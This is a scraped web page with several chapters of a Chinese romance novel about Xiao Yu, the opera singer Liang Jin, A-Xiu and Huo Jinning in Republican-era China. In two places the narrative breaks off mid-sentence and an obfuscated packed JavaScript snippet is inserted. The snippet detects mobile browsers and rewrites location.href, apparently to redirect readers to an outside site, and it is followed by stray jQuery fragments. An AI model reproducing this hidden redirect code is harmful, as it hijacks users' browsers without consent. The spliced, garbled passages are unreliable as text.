萧瑜再不听他多说,转身就走。 大步上了汽车,她吩咐霍祥: “开车吧——” 说完就靠在后座上闭目养神,任汽车缓缓启动离开。 萧珏趴在后玻璃上看着远远离去的萧府后门,和依旧站在那里的梁瑾,然后回头看了一眼表情冷淡的萧瑜,不敢多说。 他坐回座位上,附在金环耳边悄声说:“金环姐姐,那个长得好好看的哥哥,好像哭了.......” 上一次萧珏所谓想去看戏的愿望,说来不过是因为萧瑜爱看戏,而且他也并不知道萧府之外的世界是什么样子的。 故而这次萧瑜带他出来,直接去了城郊的马场。 这日万里无云,天清气爽,马场上绿荫片片,几匹高头骏马悠闲的在远处低头吃草。 廖季生纵马疾驰,离老远就向他们招手,喊道:“萧瑜——” 萧瑜笑着点头:“三哥。” 这个马场这些年几经易主,可他俩一直都是这里的常客。 转瞬廖季生就骑到了跟前,“吁——”的一声勒紧缰绳,停了马,问道:“这就是你弟弟?” 萧珏一下车就兴奋得不得了,抑制不住的跑来跑去,几乎想在马草地上打滚翻跟头。 萧瑜无奈摇头,让他跟着叫人。 “三哥好!” “好小子,想不想骑马玩?” “想!”萧珏激动的小脸通红。 廖季生爽朗一笑,让人牵了一匹通体雪白的幼马过来,“去吧!野去吧!” 萧珏欢呼一声,扑了上去,迈着小短腿就想爬上马背。 那牵马的仆人急忙抱住他,“小祖宗哟,你可慢着点,让小的一步步教你。” 廖季生跟萧瑜道:“你放心,我的人都是好手,保证摔不着这孩子。” 萧瑜笑道:“当年我骑马就是三哥教的,我有什么不放心的。” 金环却有些焦急,眼巴巴望着萧珏那边,“小姐,让金环看着小少爷吧。” 萧瑜点头,金环立马跟了上去。 廖季生干净利落跳下马背,牵着马,和萧瑜并肩而行。 “我说小瑜儿,如今你成了京城十八家戏楼的东家,日进斗金,我还没恭喜你,你怎么愁眉不展的?” 萧瑜一愣:“我有吗?没什么大事。”旋即笑笑:“这还不是三哥的功劳,我一人无凭无靠的,怎么能镇住场子?” “诶呦,跟三哥甭来这套,你可别学得跟霍二那小子似的。” “他怎么了?” “以前还凑合,就这回从西洋回来吧,你瞧瞧他那举手投足都憋着一肚子坏水的德行,端得是衣冠禽兽的奸商样儿!” 萧瑜顿时乐不可支 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“那我要坐飞机!”萧珏拍手欢呼道:“我以后还要开飞机,我要开着飞机,带着姐姐和金环姐姐飞上好高好高的蓝天!” 说着,他张开双臂像鸟一样,跑来跑去,好像真的能飞起来一样。 常年困在锦屏苑四方天地,他多么渴望无拘无束的自由,总有一天,他要飞上蓝天,飞到月亮上,再也没人能抓住他! . 萧瑜带着萧珏在外面玩了一整天,回来时,天都黑了。 萧珏早就累得不行,胡乱吃过晚饭就上床睡觉了。 霍祥走过来,小心翼翼的禀报萧瑜:“小姐,那位还在门外站着呢,我瞧这天乌云密布,好像要下雨了......” “跟我说,我是能拦着雨不下不成?”萧瑜不咸不淡的瞥了他一眼,“还是你想给他去送把伞?” 霍祥抬手扇了自己嘴巴一下,告饶道:“我多嘴,小姐您别生气,我这就给您烧水泡茶去!” 萧瑜走进书房,随手拿起一本书,坐在桌旁翻看起来。 不一会儿,果然听见外面雷声阵阵,闪电破空,然后豆大的雨点子噼里啪啦砸了下来。 嗯,春雨贵如油,是场好雨。她心中想。 一壶热气腾腾的安神茶端到了她面前,金环在她桌上又摆了几盘小点心。 “小姐,熬夜看书,胃里不能空着,我看您方才就没吃几口。” 萧瑜神色缓了缓,“我知道了,你也累了一天了,早点去睡吧。” “金环不困,金环要给小姐红袖添香。” 萧瑜失笑:“都哪里来的词,快回去吧,我一会儿乏了就去睡了。” 金环应下,临出门时看了看门外的天,还是忍不住对萧瑜道: “小姐,外面下的是冰雹。” 萧瑜眼皮一跳,叹了口气,放下书。 霍祥匆匆忙忙的跑来,站在她面前,欲言又止,十分欠揍。 “有话快说!” “是,小姐!那位在门外晕倒了!” 萧瑜几不可查的叹了一口气:“那就赶紧送医院去吧,跟我说什么!” “诶,好嘞!” 15. 第 15 章 江南春雨正急,雨落屋瓦声音清脆。 霍锦宁百无聊赖躺在床上,突然觉得额头一凉,一滴水滴在了头上。 他抬手抹掉雨水,有些好笑。 这屋子房顶漏雨,阿绣已经把家里能接水的家什都摆出来接水了,连床上都放了一个盆,一个碗,他一动不敢动,生怕把盆碗碰洒了,弄湿被子。 这回连头顶也遭了殃。 索性翻身下床,在桌边还算干松的地方坐下,给自己倒了杯水,然后拿起那本破旧的红楼梦翻看起来。 阿绣进门就看见这一幕,骇了一跳,连忙道:“你怎么下地了?快躺起来,别动了伤口!” “我只是伤了肩膀,下地走动还是无妨,你不用担心。” 阿绣将托盘放在桌子上,不放心的看了看他的肩膀,确定并没有血渗出来,这才罢休。 霍锦宁掀开托盘上扣着的碗,问道:“你做了什么?” “艾草糍粑,刚蒸出锅,你快尝尝!”阿绣欢快道。 这是她最喜欢的点心,不知道他喜不喜欢。 霍锦宁看着那一团团绿油油的糕点有些迟疑,终于还是拿起了一个尝了一口。 说实话,这些天阿绣做了很多糕点,除了形状颜色外他吃着并没有什么差异,都是软黏黏,甜腻腻,他是真的吃不惯这些女孩子家爱的东西。 但看着小姑娘期待的表情,他还是说:“味道很好。” 阿绣抿嘴偷偷的笑,心里快活的不得了。 她也坐了下来,拿起一个艾草糍粑,用手托着垫在下面的粽叶,小口小口的吃起来。 她看见霍锦宁在翻看着那本《红楼梦》,于是问他:“你上次说这书是残本,那么还有多少?后面的故事是怎样的?” “曹公著《红楼梦》只传世八十回,后有高鹗续书四十回,是个长长的故事,你只看了一个开头,后面不是什么好结局。” 阿绣一愣,连糍粑也忘了吃了,期期艾艾的问:“怎么会?怎么会是不好的结局?前面明明花团锦簇,一片祥和,后面怎么会不好?是不是那续书的人续错了?” “高鹗续作,好坏各在人心,但就算依着曹公本意,草灰蛇线,伏延千里,原作也该是悲剧收场。”霍锦宁淡淡道,“正因开头花团锦簇,一片祥和,结尾才是大厦倾颓,各奔东西。” 眼见他起高楼,眼见他宴宾客,眼见他楼塌了。 阿绣放下糍粑,心中一团乱麻。 从小到大,这半本《红楼梦》她翻了成千上百遍,一字一句倒背如流,贾府初遇,黛玉葬花,共读西厢,元妃省亲...原来这些热热闹闹的故事,这些形形色色的人都不得善终吗? 她还小,不懂得盛极必衰、物极必反的道理,也不懂得所有既定的结局,也许命运在一早就告诉了你。 霍锦宁见她神色惶恐,心里软了软,笑道:“怪我,不该告诉你,书里的故事不圆满,是要人们牢记珍惜眼前,书外的故事圆满就成了。” 阿绣懵懵懂懂的点了点头,不期然觉得心里一角似乎空空的,低头不再说话。 一时间,屋中只剩下雨滴打落在各个瓷碗木盆里的声音,滴啦滴啦,连成一片,好像是什么合奏的乐器。 忽然,这一片音韵中,插入了一个激烈的敲击声: “阿绣!开门!阿绣,你在干什么?快开门,雨怎么下得这么大......” 阿绣一僵,她惊慌失措的看向霍锦宁:“是凤姑回来了!” 怎么办?要是被凤姑发现她在房间里偷偷藏了个男人该怎么办? 霍锦宁安抚她道:“别着急,镇定些,你去开门,就当做没这回事,我在房间里不出去,她不会发现。” 霍锦宁笃定的声音让她平静了不少,是啊,凤姑从不会到她的屋子里来,只要小心些,不会被发现的。 她攥紧了拳头,深呼吸了几下,跑去开门。 门一打开,凤姑收了油纸伞,迅速的挤了进来,不住的抱怨:“这雨下得真大,我的鞋袜全湿了,阿绣,屋子有没有漏雨?” “没有,没有漏雨。” 阿绣一边帮忙放伞,一边小声说。 凤姑狐疑的看向她:“阿绣,你是不是有事瞒着我?” 这小姑娘最是胆小,从来不会撒谎,还没骗人,自己先心虚得不得了。 “没有!” 凤姑目光如炬:“你是不是在家闯了什么祸?是烧坏了厨房?还是洗破了衣服?” “没有......” 阿绣被凤姑盯得快要哭出来,憋了半天,突然憋出来一句:“其实,我不小心把你的梳子摔坏了......” 凤姑尖叫:“哪一只?” “就是,紫檀木的那只。” 凤姑一把推开她,风风火火的跑回屋子,打开梳妆盒,翻找了一番,发现那只她最最宝贵的紫檀木梳果然不见了。 “方阿绣!”凤姑伸指头不停的戳着阿绣的头,恨不得在上面戳出一个洞来:“摔坏的木梳呢?” “我怕你发现,悄悄扔了...” 其实她没有摔坏,只不过拿去给霍锦宁梳头了,可是看现在凤姑要吃人的模样,她有些后悔拿这把了,如果是黄花梨木那把,也许凤姑不会气成这样。 “你,你!”凤姑气得半天说不出来话,指着她“你”了半晌,终于丧气一屁股坐在了床上, “算了,算了......” 阿绣很意外,她结结巴巴的问:“凤姑,你,你不生我的气吗?” “打死你个小娘鱼木梳也回不来了,我真是上辈子欠了你的。”凤姑叹了口气,幽幽道:“那本来就是留给你的嫁妆,现在没了一件,到时候你也少一件。” 阿绣一愣,她知道凤姑有多么宝贝这个梳妆盒,她从来没有想过凤姑要把这个梳妆盒留给自己,她也从来没想过凤姑在考虑她的嫁妆。 “嘴巴张那么大干什么?没爹没娘,再没点嫁妆,哪个后生敢娶你?”凤姑瞪了她一眼,不耐烦的挥挥手赶她走: “该做什么做什么去,我累得快睡着了,晚饭做好时再叫我。” “哦。” 阿绣乖乖的应下,转身就走,临出门时突然被凤姑叫住: “如果,我是说如果,我离开笙溪镇,去广州的话......” 阿绣吓了一跳 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“所以,你就听我的,再吵,要把凤姑引来了。” 于是这一晚,阿绣睡床上,霍锦宁睡在了地上。 可阿绣辗转反侧,心里极为不安,总是怕地上太凉或太硬。 霍锦宁轻声说:“你不用为难,只睡这一晚,明天我就走了。” 这一句话又如一颗炸雷响在阿绣耳边,她猛地睁开眼睛,喃喃道:“你,你要走了啊......” 是啊,他不过是暂时在这里养伤,无论十天二十天,他终究是要走的。 他是上海来的富家少爷,她不过是小镇上的梳头娘姨,天上地下的人,本来不该有交集。这十来天的日子,就像是做梦一样,一眨眼就过来了。 他来过这间屋子,他睡过她的床,他枕过她的枕头,他盖过她的被子,他用过她的木梳,他吃过她做的饭,而这一切,马上就要过去了。 她轻声问:“上海是什么样子的,您能给我讲一讲吗?” “上海?” 他轻笑了一声,在夜里凭显低沉清雅。 “上海有很多楼,很多车,很多人,有十里洋场,灯红酒绿,笙歌不夜,还有花园洋房,外滩广场,电影明星......” “啊,那真是极好,极热闹。” “可这一切都有代价。”他慢慢道:“想留在那样的地方,想过着那样的生活,都要付出代价,你还不懂。” 她心中一片烂漫:“也许我以后会懂。” 但他希望她永远不懂,他轻叹了一声,。 “睡吧。” 阿绣应了一身,轻轻翻了个身,把脸埋在被子里,让眼泪慢慢的流出来,打湿被子。 她一点也不怕霍锦宁发现,她最会这样不出声的哭了,谁也发现不了。 她忽然想起来书中那支曲子里的词: 若说没奇缘,今生偏又遇着他;若说有奇缘,如何心事终虚化。 木石前盟,也许终究是镜花水月一场空吧。 16. 第 16 章 翌日一大早,阿绣和凤姑匆匆吃过早饭,出去挨家挨户的给人梳头,像过去每一天一样。 只是这一次,阿绣分外的心不在焉,时不时的走神。 她临走前将一碗热腾腾的小馄饨焖在了锅里,不知道霍锦宁起来时能不能找见。 他说今天会走,却没说上午还是下午。她很怕是早晨,这样等她回去时他已经不在,连道别都没有。她也很怕是晚上,让她亲眼看着他离开,她一定会很难受很难受。 “想什么呢?”凤姑伸手捏了一下她的小脸,“打起精神来!到何老爷家了。” 今天最后一家,是何府。 两人从偏门进了何府,穿堂过榭,来到梳妆堂。 静候片刻,四位太太打扮的花枝招展,姗姗来迟。 今日,她们身后还多了一个翠歌。 原来何老爷终于把翠歌收入房里,四位太太变成了五位。 往常每天争风吃醋的四位太太如今化敌为友,亲亲蜜蜜的在一起说话,不约而同的冷落翠歌。 翠歌也不在意,顾自坐在另一边,对着水银镜子比划着今天该戴哪一条项链,故意搔首弄姿。 大太太开口,打破局面:“凤姑的手可是好了?” 凤姑笑着回道:“劳太太记挂,今个终于能沾水了。” “我还真是喜欢极了凤姑你的手艺,这几日下面丫鬟凑合梳的,我怎么都觉得不满意。下回你要是不得空,叫阿绣来就成,我看上一回她不也是梳的挺好?” “太太说笑了,阿绣还小,当不了事。” 大太太从镜子里看了阿绣一眼,冲她笑眯眯的招了招手:“过来,我看看。” 阿绣正在发呆,凤姑偷偷捅了她一下,“阿绣愣着干嘛?大太太叫你过去呢。” 她这才回过神来,轻手轻脚走了过去,低头唤了一声:“太太。” 大太太笑了笑,伸手抬起了她的下颌端详了下: “正是豆蔻年华的水灵时候,模样倒是端正,就是胆子小了些,但以后成了家就好了。” 凤姑意识到了什么:“太太…” 不等她说完,大太太就道:“凤姑,我有个远房表弟,常来往苏州做些小买卖,家里殷实,就是身边没个照顾的人,让阿绣去伺候他如何?” 凤姑顿了顿,笑了起来:“大太太的表弟定是富贵人家,我们阿绣小门小户的,没见过世面,哪里配得上?” 阿绣想说话,却被凤姑死死的拽住,不敢开口。 一旁的翠歌忽然嗤笑了一生,慢条斯理道:“大太太真是好算计,我听人说您那位表弟一把年纪,吃喝嫖赌抽一应俱全,这个小娘鱼进了门,岂不是跳进火坑再也出不来?” 大太太瞪了她一眼,不咸不淡道:“他不过是年纪轻,心不定,娶了媳妇,再过几年就好了。怎么,凤姑你不同意这门亲事?” 凤姑脸色发白,到底还是恭敬笑道:“哪里会呀?能和太太攀上亲事,是阿绣的福分,阿绣,还不快谢谢大太太。” 阿绣如木偶一样被凤姑按着跪下,磕了头。 大太太脸色这才缓和了几分,将手腕上金镶玉的镯子退下来,赏给了阿绣,嘱咐道: “好了,这件事就这么定了,我叫他下个月来迎亲。你嫁过去后,要勤快贤惠,帮他操持家务,早早开枝散叶,懂了吗?” 阿绣失魂落魄的被凤姑拉回家,凤姑的指甲几乎嵌进肉里。 进屋大门一关,阿绣一直在眼眶打转的泪水就唰的一下掉了下来。 凤姑有些烦躁:“哭什么哭?真不知道大太太看中你哪点了,许是想找个胆小老实的,偏偏就留意了你。” “凤姑,我不想嫁,求求你,我真的不想嫁…”阿绣拉着凤姑的手抽泣。 “你不想有什么用?今天大太太发话,那就是事儿已经定下来了,没有回旋余地,要是早几天说不定还好说。” 凤姑懊悔了一阵,跺了跺脚,在院子里走来走去。 好半天,她终是终于叹了口气,“算了,都是命。阿绣,你嫁吧。” 阿绣不可置信的抬起头,“凤姑——” “何老爷在笙溪只手遮天,得罪了大太太,我们如何在镇上活下去?况且,你早晚要嫁人的,他家境殷实,总比家徒四壁强,你嫁过去不用吃苦。” “可、可是,你不是说以后会有很多后生来家里提亲吗?” 凤姑苦笑了一下:“傻姑娘,那不过都是逗你玩的,你没爹没娘嫁妆不厚,我名声又差,哪个正经人家愿意娶你?” 阿绣觉得脑袋里一片空白,好像这么久以来都被骗了一样,心底里有什么东西在渐渐崩塌。 她咬唇,倔强道:“我不嫁,我一辈子不嫁,我要一直跟着凤姑。” 往常这话也说过很多次,凤姑都是笑着骂她傻,而这一次凤姑却有些不耐烦:“别像个小孩子一样不懂事,我不可能一辈子带着你,我——” 她一狠心:“过一阵我就要去广州了!” 话终于说出口,凤姑也就索性不瞒她了,直话直说道:“你记不记得桂花弄给我打梳妆台的木匠李?我和他好上了,他兄弟在广州十三行那边跑生意,赚了不少钱,他也要过去,我决定和他一起下广州。” 原来凤姑这段日子遮遮掩掩的是这件事,前几天她早出晚归又说走亲戚,也都是去了木匠李那里。 “那,那能不能带着我?” 她小声央求。 凤姑火气一下子涌上来:“你还嫌拖累我不够吗?你知不知道他愿意带我走有多不容易?我养了你快十年,早就仁至义尽了,要不是阿姐临死前反复求我,我一早就把你送人了!你以为我不知道,你根本不是阿姐的女儿,阿姐在京城嫁的那个男人早就死了!” 阿绣身子晃了晃,几乎有些站不住,她惶恐的看着凤姑,心里渐渐一片冰凉。 奶娘死后,她很害怕,她一直都很努力的干活,很小心的做工,很乖很乖的听话,希望自己有那么一点点用,可原来凤姑早就嫌弃她了。 她不要她了,她要和她的男人私奔了,她恨不得立刻甩了她,她甚至不惜把她嫁给一个吃喝嫖赌俱全的男人。 凤姑看着阿绣脸色惨白,摇摇欲坠,有些后悔脱口而出的话,但仍是狠下心肠,冷冰冰道: “从今天起,你哪里也不要去,就留在家里等着嫁人吧。” 而后她又叹了口气:“阿绣,女人的命就是这样的,你不要做无谓挣扎了。” 两人相对僵持,院子里静悄悄的。 这时,阿绣房间的门突然被人从里面打开。 凤姑吓了一跳,大叫道: “谁?谁在屋里?” 开门的是个年青男人,灰衣短打,板着个脸,他冷冷的看了凤姑一眼,凤姑一僵,喊了一半的话就噎在了嗓子里。 阿绣也没见过他,可他一转身露出身后那人,她就不自觉的松了一口气。 霍锦宁缓缓从屋子里走了出来,站在院子里。 他还穿着那件白色衬衫,受了伤,沾了血,被阿绣洗干净,穿了好几天,已经皱皱巴巴的了,可是穿在他身上一点也不显得狼狈。 旁人是人靠衣装,可有的人即使风尘仆仆,一身污泥也掩不住骨子里的气度。他站在那里,连阿绣家的小院子都显得逼仄了起来。 他对凤姑颔首,淡淡道:“之前遇上些麻烦,承蒙阿绣姑娘收留,未经主人同意,在这里借宿几天,实在抱歉。如今我该走了。” 凤姑骤然看见自己冒出来了两个陌生男人,已经吓得说不出来话,现在听霍锦宁这么一说,又气又急,差点昏过去。 “什么借宿?你到底是谁?你对阿绣做了什么?她还是清清白白的大姑娘,你从她的屋子里走出来,她还要不要嫁人了?” 凤姑不可置信的看向阿绣,简直想象不出这怯生生的小姑娘敢做出这么胆大包天的事来,她死死抓住阿绣的手腕,质问她: “你说!你是不是被他占了便宜?是不是被他……你,你到底还知不知羞?要不要脸?” 阿绣眼泪又掉了下来,她委屈的说:“我没有,凤姑,我没有…” 霍锦宁不轻不重的扫了她一眼,面色不渝:“别在她面前说这种难听的话,她还只是个孩子。” 他看向霍吉,霍吉会意,从袖子里拿出两根黄澄澄的金条,上前递给凤姑。 凤姑有些傻眼:“这是……” “阿绣是个好孩子,她不愿意嫁人,你不要逼她,让她跟你去广州吧。” “霍少爷…” 阿绣泪眼朦胧的看向霍锦宁,泪水模糊了眼睛,可她还是固执的抬头看他。 她看着霍锦宁走到她面前,轻轻的,温柔的,摸了摸她的头,告诉她: “别哭了,我不是告诉过你,要经常笑一笑吗?我要走了,你好好保重。” 霍锦宁转身向门外走去,阿绣在后面执拗的望着他,随着他的脚步,她的心跳如雷,每一声都重重的响在耳边。 短短半天里,发生太多太多的事了,比她过去十几年里发生的都要多。有人给她说亲了,凤姑不要她了,凤姑要去广州了,她也要离开笙溪了。 而他,要走了。 今生今世,来生来世,他们说不准都遇不见了。 她不想走,她好想一辈子都留在这个小镇上,大街小巷,东家西家的跟着凤姑给人梳头,下午在桥边帮哑婆婆卖花, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424879|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一坐就是一下午,她看水流,看云舒,春天去采艾草,秋天去摇桂花,一年一年,日子就这样过去。 可是,不行了,一切都回不去了。 金玉满堂,也会零落成泥,琼楼玉宇,也会大厦倾颓。 不知道从哪里生出来一股子勇气,阿绣突然挣脱了凤姑的手,跑出门去。 “霍少爷——” 霍锦宁还没走远,闻声回首,只见阿绣从门里小跑出来,扑通一声跪在他面前。 “霍少爷,求求您带我一起走吧!” 既然都是离开,那么上海与广州有什么分别?凤姑说的对,她只会是累赘,即使去了广州,她也终究会被抛弃,被嫁给不知道什么的人家,这样的日子,她不想要。 她抬头,逆着光,她看不清霍锦宁脸上的表情,只听见他淡漠的声音: “你跟着我,能做什么呢?” “我可以做丫鬟,做绣娘,我可以做女红,做饭,洗衣服,我,我还可以,给您夫人梳头……” 面前的人忽而轻笑了一声: “我夫人,怕是不需要梳头的……” 阿绣心中一紧,差点又要哭出来。 霍锦宁轻轻的叹了口气,看着跪在地上的女孩子,瘦小纤细的身子微微颤抖着,那样胆小,却又那样倔强。 “我本来不想打扰你平静的生活,现在看来,将后半生托付于旁人,果然不存在安稳……罢了,你去收拾收拾吧,我等你。” 阿绣走进门时,正对上凤姑的目光,刚才的一切她已经都看见了。 凤姑一言不发,转身进了门。 “凤姑——” 阿绣一急,赶紧追了上去。 只见凤姑走进卧房,拿出了她的梳妆盒来。 “阿绣,你过来。” 凤姑把这个从外婆传给娘,娘传给她,她出嫁抱着的漆木雕花梳妆盒,郑重的交给了阿绣。 “凤姑…” 阿绣觉得自己过去十几年来流的眼泪,也没有今天这一会儿多。 “傻姑娘,哭什么?你长大了,有自己的主意了,凤姑很高兴。我是寡妇,他是鳏夫,留在这里会被人指指点点到死。我求过他,他就是不答应带着你,凤姑也舍不得把你嫁给…” 凤姑说着,抬手擦掉眼泪,笑了笑:“算了,说这些都没用了。那个霍少爷看着很有钱,人也很好,你跟着他不会吃亏的。” “这个梳妆盒还是留给你做嫁妆,可惜凤姑不能看着你出嫁。女大不中留,早晚有一天要跟人家走,别恨凤姑。快走吧,别让人家等你久了。” 凤姑抱了阿绣一下,不等她反应过来,又把她推出门。 “走吧,我也很快就走了,再也不回来了。” 阿绣出了门,一步三回头,依依不舍。 又听凤姑在身后喊道:“阿绣,以后别来找我,听到没有?” 阿绣狠狠的点头,然后抱紧了沉甸甸的梳妆盒,大步跑远了。 镇外的小路上停着一辆黑色的福特车,阿绣是第一次坐汽车,也是第一次见到汽车,她怯生生的看着霍吉替她打开的车门,不知所措。 霍锦宁好脾气的告诉她:“抬腿迈进去,坐下就可以了。” “哦。” 阿绣愣愣的点头,然后一下子又不知道该迈哪条腿。 这时候,突然有熟悉的猫叫声传来。 阿绣一抬头,看见一只灰扑扑的小猫冲过来,嗖的一下跳上了她怀里的梳妆盒。 “阿鱼,阿鱼你怎么来了?”阿绣手忙脚乱,差点摔倒。 “阿鱼?”霍锦宁笑了一下:“一只猫,为什么叫阿鱼?” 阿绣很不好意思:“因为,老人家说越叫越有,我想一只猫最幸福的事就是有吃不完的鱼,所以这么叫它。可是后来发现,它根本不爱吃鱼。” 霍锦宁又念了几遍阿鱼这两个字,不知想起什么,摇头失笑。 阿绣认认真真的和猫儿道别,轻声嘱咐着: “阿鱼阿鱼,我要走了,你以后自己一只猫要好好的,下午记得去长寿桥边找哑婆婆,她会喂你小鱼干,记得不要去陈屠户家里,他最讨厌野猫野狗了......” 最后重重的亲了阿鱼一下,她松开了手,猫儿从怀中跳下,蹲在路边,摇着尾巴看着她坐上了汽车,喵喵的叫个不停,好像是不舍的送别。 阿绣坐在汽车中,抱紧了手里的梳妆盒,忍不住回头向身后看去。 这座小桥流水的江南小镇,在视线中越来越远,终于消失不见。 一同远去的,还有阿绣一生中最安逸无忧的少年时光。 此后,山高水长,前路茫茫。 江南,春尽矣。 17. 第 17 章 六月初十,孙家大老爷的六十大寿,在家中设宴款待宾客。 孙家如今是政坛新贵,二老爷年初经总统提名,国会通过,任国务总理兼任外交委员会委员长,人人抢着巴结,一时孙府门庭若市,车水马龙。 这场寿宴是中西结合,年轻人在一起办西式酒会,年长的在一起喝酒听戏,两相乐呵。 萧瑜虽然答应替廖季生走一趟,可仅仅礼数带到就完了,也不掺合那些青年男女的聊天,端着杯红酒,顾自走到花园露台那里,在藤椅上坐了下来。 “呦,这不是萧二少嘛,你可是会躲清静!” 一听这欠揍的声音,就知道是孙家那个油头粉面的小九少,萧瑜似笑非笑看向来人。 “总比有些人想躲清静躲不了要强。” 一句话戳到孙敬祺心坎里去,他在她身边坐下,忿忿道:“嘿,几年不见,我说你能不一见面就挤兑人吗?” 作为孙大老爷老来得子,孙小九一直是家里姨娘哥嫂的心头好,这回刚从外地回来,少不得要被围着嘘寒问暖。 “谁先挤兑谁的呀?不知道霍二少发话了吗,还敢这么叫?” “得!我嘴贫,当我没说!”一提霍锦宁,孙敬祺就蔫了,他们这圈子里长大的,没几个不怕衣冠禽兽霍二少的。 “你俩这真是好事将近啊?” “有什么稀奇的,男大当婚女大当嫁,你孙小九都结婚了,还不行旁人结?” 孙敬祺一拍大腿:“这不是被老爷子逼的嘛,我可还没玩够呢。” 萧瑜轻嗤:“说得好像结了婚能拦住你似的,刚还看你跟那个穿得跟孔雀似的交际花调情。” “那只是社交礼貌,懂不懂?亏你还喝过几年洋墨水,这都想不开?” 孙小九切了一声,喝了一口手中的红酒。 “你呀,可收收心吧。”萧瑜斜了他一眼,“趁二老爷如今官运亨通,你也谋个出路,别整天跑外面瞎玩。” “哪儿玩了?我那是做生意!说了你也不懂。”孙敬祺摆了摆手,又哼哼几声:“什么官运亨通?一个总理,三年换了五个,谁知道这回能做多久,我二叔就是想不开,一把年纪还操着心。” 不操心你孙九少吃什么穿什么? 萧瑜摇摇头,没说话。 不远处请来的乐队,拉着提琴协奏曲,不少年轻人在花园里翩翩起舞,跳起了华尔兹。 “这要让我家老爷子看见了,准要骂几句伤风败俗。”孙敬祺啧啧两声:“诶,你得意这玩意吗?我听着都快睡着了,咱后院戏楼听戏去呗!” “成啊,今儿个请的谁?” “庆祥班啊,走着!” 两个人溜达着往戏楼走,沿途穿过花园,遇见七八个聚在凉亭里说话的小姐,有人高声叫道: “我说九少哪去了,原来在这里,新婚燕尔的,怎么冷落我们九少奶奶呢?” 孙敬祺冲萧瑜无奈耸了耸肩,两人走了过去。 也都是京城这圈子里的富家小姐少奶奶,萧瑜一走近就让人认出来了,满四九城再也找不着一个她这样高挑短发,英姿飒爽的萧二小姐了,有人笑着招呼,有人窃窃私语,面露不屑。 正中间一个齐肩短发,白色蕾丝洋装的女孩子,看见她,脸色红了红,有些害羞的对她说: “萧、萧瑜,你还记得我吗?” 萧瑜还真就记得不太清楚了,眯起眼睛细看了看,又留意了身边孙敬祺诡异的神色,有些了然,笑道: “柳小姐。” 她跟这些闺阁女眷交集不多,倒是跟那些男孩子混得熟点,依稀记得小时候孙敬祺把这个柳小姐的风筝挂到树上,还是她给摘下来的。 柳迟迟笑颜如花:“还像以前叫我迟迟就好。” 身边人打趣:“而今可得叫九少奶奶了,是不是?” 孙敬祺咳了两声,不自然道:“你们玩你们的,我们去后院转转。” 柳迟迟点点头,又对萧瑜道:“我都不知道你什么时候回来的,等有空我们出来一起喝咖啡看电影好不好?” “成啊。”萧瑜笑道:“错过你俩的婚礼,真是不好意思,回头补一份礼物来。” “真的吗?你说话要算数!” 萧瑜还没等点头,就被孙敬祺拉走了:“废什么话呀,再不走戏都散场了!” 不小心看见孙小九通红的耳朵根子,萧瑜摇头失笑。 这青梅竹马,欢喜冤家,可真是逃不开的孽缘。 进了戏楼,台上正一出《武松打虎》正当高潮,看客是掌声如雷拍手叫好。 萧瑜和孙敬祺随意的拣一楼边上一处没人的八仙桌旁坐下,立马有下人端上热茶点心伺候着。 萧瑜其实没什么看戏的心思,有一搭没一搭的和孙敬祺东拉西扯,耳边鼓点铜锣络绎不绝,神儿不知道飞哪里去了。 一幕戏落,一幕戏起,红名牌挂,鼓乐声起,萧瑜微微一愣。 这一场是《霸王别姬》,唱虞姬的是梁瑾。 伴着楚霸王咿咿呀呀的回营声,萧瑜低头,轻轻地吹了口热茶。 不消片刻,虞姬伴着八侍女上台,身穿鱼鳞甲,头戴如意冠,风流俊美,英姿勃勃。 一个亮相,便赢得台下阵阵叫好。 孙敬祺嘿然一乐:“这虞姬还自带三分哀婉凄楚,项羽可还没败呢。” 这段故事脍炙人口,自几年前在京城首演,万人空巷,往后大小堂会少不得来这一段,也不管吉不吉利。 接下来是四面楚歌,霸王心灰意冷,虞姬舞剑。 “力拔山兮气盖世,时不利兮骓不逝,骓不逝兮可奈何,虞兮虞兮奈若何——” 那虞姬身影单薄,扶风弱柳,却偏生双剑生风,眼中含泪,道出了一股红颜薄命,英雄末路。 孙敬祺不禁叹道:“听说云老板前几日淋了雨,大病一场,躺了小半个月,此情此景倒是和戏里不谋而合了。” 萧瑜凉凉笑了一声:“你倒是看得一出好戏。” 萧二小姐与碧云天云老板走得颇近,早就不是什么隐秘。上月梁瑾在萧府门外苦等数天,淋雨病倒,更是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424880|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有心人传开,闹得满城风雨,如今连这刚才外面回来的孙小九都知道了。 孙敬祺被点破了也丝毫不觉不好意思,优哉游哉道:“我就是觉得可惜了。” 萧瑜瞥了他一眼,他抬眸示意她向上看。 二楼正台上坐的是孙家亲眷,当中一老者,头戴着瓜棱帽,留着三寸须,若有笑意的望着台上虞姬舞剑,正是今日寿星,孙家大老爷。 “谁不知道我们家老爷子老当益壮,夜夜新郎,就好这一口,庆祥班班主来安排这一出,可不是诚心拉皮条么。” 萧瑜面上温度淡了下来。 自来戏子不过供达官贵人取乐的下九流,能遇上个愿意捧着的,是命好。娄小舟走后,碧云天就是庆祥戏班的摇钱树,他幸也不幸的得了萧二小姐的青睐,自古捧戏子的都是爷们,三妻四妾无人管,遇上个没出阁的小姐算怎么回事? 